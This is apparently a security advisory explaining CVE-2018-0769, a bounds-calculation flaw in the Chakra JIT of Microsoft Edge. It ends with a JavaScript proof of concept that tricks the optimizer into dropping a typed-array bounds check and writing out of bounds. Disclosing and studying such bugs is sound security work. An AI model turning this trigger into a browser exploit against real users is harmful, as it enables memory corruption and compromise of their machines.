Microsoft Edge: Chakra: JIT: Incorrect bounds calculation(CVE-2018-0769)

Let's start with comments in the "GlobOpt::TrackIntSpecializedAddSubConstant" method. // Track bounds for add or sub with a constant. For instance, consider (b = a + 2). The value of 'b' should track // that it is equal to (the value of 'a') + 2. That part has been done above. Similarly, the value of 'a' should // also track that it is equal to (the value of 'b') - 2. This means "j" will be guaranteed to be in the range of INT_MIN to 15(INT_MAX - 0x7ffffff0) at (a) in the following code. In detail, it uses "BailOutOnOverflow", which makes the JITed code bailout when an integer overflow occurs, to ensure the range. ``` function opt(j) { let k = j + 0x7ffffff0; // (a) } ``` But if integer overflows continuously occur in the JITed code or it's known that "k" doesn't fit in an int at compile time, Chakra considers "k" to be a float. For example, in the following code where "j" is always greater than 100, "k" is considered a float. So it doesn't use "BailOutOnOverflow" for the add operation. ``` function opt(j) { if (j <= 100) return; let k = j + 0x7ffffff0; } ``` Now, let's take a look at the PoC. ``` function opt() { let j = 0; for (let i = 0; i < 2; i++) { // (a) j += 0x100000; // (b) let k = j + 0x7ffffff0; // (c) } } ``` Note that all loops are analyzed twice in the JIT optimization process. Here's what happens in the analyses. In the first analysis: At (b), Chakra considers "j" to be in the range of INT_MIN to INT_MAX. At (c), INT_MAX + 0x7ffffff0 overflows but INT_MIN + 0x7ffffff0 doesn't, so it assumes "k" may fit in an int and that "BailOutOnOverflow" will be used to ensure "j" to be in the range of INT_MIN to 15. In the second analysis: At (a), Chakra considers "j" to be in the range of 0 to 15. At (b), Chakra considers "j" to be in the range of 0x100000 to 0x10000f. At (c), in both cases of 0x100000 + 0x7ffffff0 and 0x10000f + 0x7ffffff0, an integer overflow occurs. So "k" is considered a float. In the first analysis, it made two assumptions: "k" will be an int, and therefore "BailOutOnOverflow" will be used. But actually, both assumptions are wrong. "k" will be a float. And "BailOutOnOverflow" will never be used. However it's already guaranteed "j" to be in the range of INT_MIN to 15 at (a) based on the wrong assumptions. We can abuse this. PoC demonstrating OOB write: ``` function opt(arr) { if (arr.length <= 15) return; let j = 0; for (let i = 0; i < 2; i++) { arr[j] = 0x1234; // (a) j += 0x100000; j + 0x7ffffff0; } } function main() { for (let i = 0; i < 0x10000; i++) { opt(new Uint32Array(100)); } } main(); ``` At (a), Chakra considers "j" to be always in the range of INT_MIN to 15, the length of "arr" has been already guaranteed to be upper than 15, so it eliminates the bounds check.